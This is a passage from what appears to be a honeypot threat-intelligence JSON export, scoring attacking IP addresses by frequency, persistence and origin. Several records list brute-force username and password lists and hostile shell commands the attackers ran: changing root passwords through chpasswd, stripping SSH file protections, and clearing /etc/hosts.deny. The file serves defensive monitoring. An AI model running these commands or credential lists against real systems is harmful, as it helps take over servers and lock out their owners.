        "last_seen_30d": "2026-03-26T17:14:47.377000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 17,
        "Cowrie": 2
      }
    },
    "43.230.106.128": {
      "attack_count": 2,
      "first_seen": "2026-03-10T10:02:46.287Z",
      "last_seen": "2026-03-10T10:02:58.930Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 132754,
      "as_org": "Realtel Network Services Pvt Ltd",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:02:46.287000+00:00",
        "last_seen_30d": "2026-03-10T10:04:07.612000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "46.236.65.51": {
      "attack_count": 2,
      "first_seen": "2026-03-17T08:22:06.846Z",
      "last_seen": "2026-03-17T08:22:22.435Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Ume\u00e5",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T08:22:06.846000+00:00",
        "last_seen_30d": "2026-03-17T08:23:29.215000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.99.225.27": {
      "attack_count": 2,
      "first_seen": "2026-03-30T01:14:50.739Z",
      "last_seen": "2026-03-30T01:15:04.320Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kosovo",
      "country_code": "XK",
      "city": "Pristina",
      "asn": 21246,
      "as_org": "IPKO Telecommunications LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T01:14:50.739000+00:00",
        "last_seen_30d": "2026-03-30T01:16:05.427000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "52.199.143.205": {
      "attack_count": 2,
      "first_seen": "2026-03-11T00:47:16.613Z",
      "last_seen": "2026-03-11T00:47:47.124Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-11T00:47:16.613000+00:00",
        "last_seen_30d": "2026-03-11T00:49:29.436000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 40,
        "Cowrie": 2
      }
    },
    "58.151.173.28": {
      "attack_count": 2,
      "first_seen": "2026-03-04T04:56:25.550Z",
      "last_seen": "2026-03-04T04:56:56.119Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:56:25.550000+00:00",
        "last_seen_30d": "2026-03-04T04:58:00.710000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "61.205.12.147": {
      "attack_count": 2,
      "first_seen": "2026-03-09T20:48:10.176Z",
      "last_seen": "2026-03-09T20:48:23.117Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kamokogahara",
      "asn": 17511,
      "as_org": "OPTAGE Inc.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T20:48:10.176000+00:00",
        "last_seen_30d": "2026-03-09T20:49:23.623000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.141.107.204": {
      "attack_count": 2,
      "first_seen": "2026-03-28T16:39:56.020Z",
      "last_seen": "2026-03-28T16:41:56.030Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:39:56.020000+00:00",
        "last_seen_30d": "2026-03-28T16:51:58.033000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "66.205.108.180": {
      "attack_count": 2,
      "first_seen": "2026-03-29T18:18:38.901Z",
      "last_seen": "2026-03-29T18:19:10.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Lubbock",
      "asn": 19108,
      "as_org": "Optimum",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T18:18:38.901000+00:00",
        "last_seen_30d": "2026-03-29T18:20:16.304000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "77.7.193.196": {
      "attack_count": 2,
      "first_seen": "2026-03-28T13:40:49.016Z",
      "last_seen": "2026-03-28T13:41:03.551Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Munich",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T13:40:49.016000+00:00",
        "last_seen_30d": "2026-03-28T13:42:04.290000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.188.7.96": {
      "attack_count": 2,
      "first_seen": "2026-03-04T23:19:26.859Z",
      "last_seen": "2026-03-04T23:19:58.132Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T23:19:26.859000+00:00",
        "last_seen_30d": "2026-03-04T23:21:05.480000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "105.155.165.177": {
      "attack_count": 4581,
      "first_seen": "2026-03-30T00:53:23.276Z",
      "last_seen": "2026-03-31T23:41:06.958Z",
      "sessions": 1527,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8151,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T00:53:23.276000+00:00",
        "last_seen_30d": "2026-03-31T23:41:07.246000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4581,
        "Suricata": 3570
      }
    },
    "159.223.149.226": {
      "attack_count": 1400,
      "first_seen": "2026-03-19T09:07:26.911Z",
      "last_seen": "2026-03-19T09:36:18.461Z",
      "sessions": 279,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "deploy",
        "student",
        "minecraft",
        "oracle",
        "steam",
        "admin",
        "botuser",
        "ftpuser",
        "kafka",
        "web",
        "a",
        "bot",
        "chris",
        "claude",
        "d",
        "david",
        "debian",
        "demo"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "P@ssw0rd",
        "password",
        "p@ssw0rd",
        "111",
        "1234",
        "1234567",
        "12345678",
        "root",
        "1qaz@WSX",
        "aa",
        "ana",
        "claude",
        "d",
        "flow",
        "home",
        "marketing",
        "!QAZ2wsx3edc4rfv",
        "0000"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 1966,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T09:07:26.911000+00:00",
        "last_seen_30d": "2026-03-19T09:46:27.672000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1400,
        "Suricata": 566
      }
    },
    "170.64.182.179": {
      "attack_count": 1235,
      "first_seen": "2026-03-16T06:43:25.449Z",
      "last_seen": "2026-03-16T07:09:31.646Z",
      "sessions": 247,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "deploy",
        "minecraft",
        "admin",
        "test",
        "user",
        "alex",
        "kafka",
        "odoo",
        "oracle",
        "steam",
        "aaa",
        "administrator",
        "andrea",
        "bot",
        "d",
        "dany",
        "deployer",
        "ducc0x"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "1234",
        "p@ssw0rd",
        "1",
        "1111",
        "12345",
        "1234567",
        "12345678",
        "11",
        "1qaz@WSX",
        "admin123",
        "home",
        "milad",
        "root",
        "s",
        "!QAZ2wsx3edc4rfv",
        "1011"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 1737,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T06:43:25.449000+00:00",
        "last_seen_30d": "2026-03-16T07:10:36.398000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1235,
        "Suricata": 502
      }
    },
    "202.165.16.198": {
      "attack_count": 864,
      "first_seen": "2026-03-10T00:31:44.439Z",
      "last_seen": "2026-03-27T08:03:42.574Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "arun",
        "ashok",
        "bot",
        "ceshi2",
        "gw",
        "mes",
        "stream",
        "antoine",
        "apache",
        "awsuser",
        "ay",
        "bin",
        "botuser",
        "bryan",
        "central",
        "clawd",
        "crawl",
        "cw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "password",
        "1234",
        "1212",
        "123456",
        "1q2w3e4r5T",
        "1qazxsw2#EDC",
        "20250612",
        "3.141592654",
        "5202614520",
        "Access123",
        "Awsuser123",
        "Ay123!",
        "Bryan123!",
        "Central123!",
        "G123",
        "Hh123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\njDFMPVfHYkMH\\njDFMPVfHYkMH\\n\"|passwd",
        "echo \"123456\\ntZR5KsXKPh7u\\ntZR5KsXKPh7u\\n\"|passwd",
        "echo \"Mes123!\\nYwFPopI3M9W3\\nYwFPopI3M9W3\\n\"|passwd",
        "echo \"ashok\\nOAL30Fx6fgdt\\nOAL30Fx6fgdt\\n\"|passwd",
        "echo \"bot123\\nwUy6zChzpbFP\\nwUy6zChzpbFP\\n\"|passwd",
        "echo \"gw123!\\nlteH8cjyELyr\\nlteH8cjyELyr\\n\"|passwd",
        "echo \"root:DU1QDhbQsTc2\"|chpasswd|bash",
        "echo \"root:ldzAa6vUgZAC\"|chpasswd|bash",
        "echo \"stream1234\\nujJpuvaikhUz\\nujJpuvaikhUz\\n\"|passwd",
        "echo -e \"12345678\\njDFMPVfHYkMH\\njDFMPVfHYkMH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 49.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1018,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T00:31:44.439000+00:00",
        "last_seen_30d": "2026-03-27T08:04:52.287000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 864,
        "Suricata": 154
      }
    },
    "45.78.204.246": {
      "attack_count": 726,
      "first_seen": "2026-03-03T14:01:07.733Z",
      "last_seen": "2026-03-12T09:57:01.283Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdel",
        "bounce",
        "choi",
        "gns3",
        "mark",
        "angel",
        "asus",
        "auser",
        "ayoub",
        "bart",
        "bot",
        "claude",
        "ftptest",
        "james",
        "kyle",
        "llm",
        "mcuser",
        "ming"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "1234",
        "123",
        "12345678",
        "password",
        "!Q2w3e4r5t6y",
        "12345",
        "123456",
        "Asd12345",
        "Bingo@1993",
        "Lj123456",
        "Qwert@123",
        "Verdaccio123!",
        "Wu123456..",
        "abc!@#123",
        "auser123",
        "bart2025",
        "bouncepass",
        "claude123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "lscpu | grep Model",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\naKvUYPnrqHmT\\naKvUYPnrqHmT\\n\"|passwd",
        "echo \"123\\nAmHgc1jsTKff\\nAmHgc1jsTKff\\n\"|passwd",
        "echo \"bouncepass\\nKAS5LOTKl2kP\\nKAS5LOTKl2kP\\n\"|passwd",
        "echo \"gns3pass\\nPgXQ1HspR0JL\\nPgXQ1HspR0JL\\n\"|passwd",
        "echo \"root:9Osh5lCGPzdJ\"|chpasswd|bash",
        "echo \"root:E68wslUQRWfT\"|chpasswd|bash",
        "echo \"root:fKhABhU3nrbB\"|chpasswd|bash",
        "echo -e \"1234\\naKvUYPnrqHmT\\naKvUYPnrqHmT\"|passwd|bash",
        "echo -e \"123\\nAmHgc1jsTKff\\nAmHgc1jsTKff\"|passwd|bash",
        "echo -e \"bouncepass\\nKAS5LOTKl2kP\\nKAS5LOTKl2kP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.4,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 867,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:01:07.733000+00:00",
        "last_seen_30d": "2026-03-12T09:58:08.820000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 726,
        "Suricata": 141
      }
    },
    "103.59.95.55": {
      "attack_count": 664,
      "first_seen": "2026-03-18T17:59:09.626Z",
      "last_seen": "2026-03-24T02:56:54.925Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "pzuser",
        "adi",
        "bounce",
        "common",
        "contact",
        "edwin",
        "gaurav",
        "geonode",
        "gw",
        "irene",
        "jacob",
        "root",
        "sergio",
        "testing",
        "ts3server",
        "vikas",
        "vpnbot",
        "webserver",
        "worker"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123456",
        "1234",
        "Bounce123!",
        "adi123",
        "edwin@123456",
        "gauravpassword",
        "irene",
        "jacob",
        "pzuser",
        "root123456.",
        "sergiosergio",
        "123",
        "Deamon123",
        "Webapps123",
        "Wialon123!",
        "abcd1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"password\\n8p9LV2vusBqf\\n8p9LV2vusBqf\\n\"|passwd",
        "echo \"pzuser\\nBzajaLPnSzrV\\nBzajaLPnSzrV\\n\"|passwd",
        "echo \"pzuser\\nPhS0WtEZAF0M\\nPhS0WtEZAF0M\\n\"|passwd",
        "echo \"ts3server123!\\new17Gs3htCGv\\new17Gs3htCGv\\n\"|passwd",
        "echo \"vpnbot123\\n35JHh35gJcx5\\n35JHh35gJcx5\\n\"|passwd",
        "echo \"webserver\\n0bjocOT9HVyw\\n0bjocOT9HVyw\\n\"|passwd",
        "echo -e \"password\\n8p9LV2vusBqf\\n8p9LV2vusBqf\"|passwd|bash",
        "echo -e \"pzuser\\nBzajaLPnSzrV\\nBzajaLPnSzrV\"|passwd|bash",
        "echo -e \"pzuser\\nPhS0WtEZAF0M\\nPhS0WtEZAF0M\"|passwd|bash",
        "echo -e \"ts3server123!\\new17Gs3htCGv\\new17Gs3htCGv\"|passwd|bash",
        "echo -e \"vpnbot123\\n35JHh35gJcx5\\n35JHh35gJcx5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 807,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T17:59:09.626000+00:00",
        "last_seen_30d": "2026-03-24T02:58:01.142000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 664,
        "Suricata": 143
      }
    },
    "186.209.52.196": {
      "attack_count": 636,
      "first_seen": "2026-03-04T21:23:15.651Z",
      "last_seen": "2026-03-20T03:29:58.513Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "Admin",
        "hr",
        "matic",
        "nasuser",
        "u1",
        "astra",
        "comp",
        "elearn",
        "kevin",
        "portal",
        "readonlyuser",
        "sg",
        "trading",
        "vip1",
        "wpuser",
        "ys",
        "zhanghang",
        "zzy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "12345",
        "1234",
        "12345ssdlh",
        "123QWEqwe@",
        "3edc@WSX",
        "@1qaz2wsx",
        "Aa-123456",
        "Admin",
        "Bingo@1993",
        "Dc123456",
        "Hk@123456",
        "Hr123!",
        "Wpuser123",
        "abcd1234!",
        "carpediem",
        "jyb-2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nAa7YabAZX6A4\\nAa7YabAZX6A4\\n\"|passwd",
        "echo \"123\\nGkguT3JqzsAS\\nGkguT3JqzsAS\\n\"|passwd",
        "echo \"Admin\\nsaTSEawf73Gk\\nsaTSEawf73Gk\\n\"|passwd",
        "echo \"Hr123!\\nPEbNRDH705Yw\\nPEbNRDH705Yw\\n\"|passwd",
        "echo \"root:S1CKurcxoJXD\"|chpasswd|bash",
        "echo \"root:bEEsKuzrLttN\"|chpasswd|bash",
        "echo \"u1123\\n1fpqh0CRuvh0\\n1fpqh0CRuvh0\\n\"|passwd",
        "echo -e \"12345678\\nAa7YabAZX6A4\\nAa7YabAZX6A4\"|passwd|bash",
        "echo -e \"123\\nGkguT3JqzsAS\\nGkguT3JqzsAS\"|passwd|bash",
        "echo -e \"Admin\\nsaTSEawf73Gk\\nsaTSEawf73Gk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 53158,
      "as_org": "Net Turbo Telecom",
      "threat_score": 66.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.8,
        "persistence": 23.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 754,
        "days_active_30d": 28,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T21:23:15.651000+00:00",
        "last_seen_30d": "2026-03-31T09:37:06.724000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 636,
        "Suricata": 118
      }
    },
    "134.209.71.235": {
      "attack_count": 503,
      "first_seen": "2026-03-09T16:21:34.453Z",
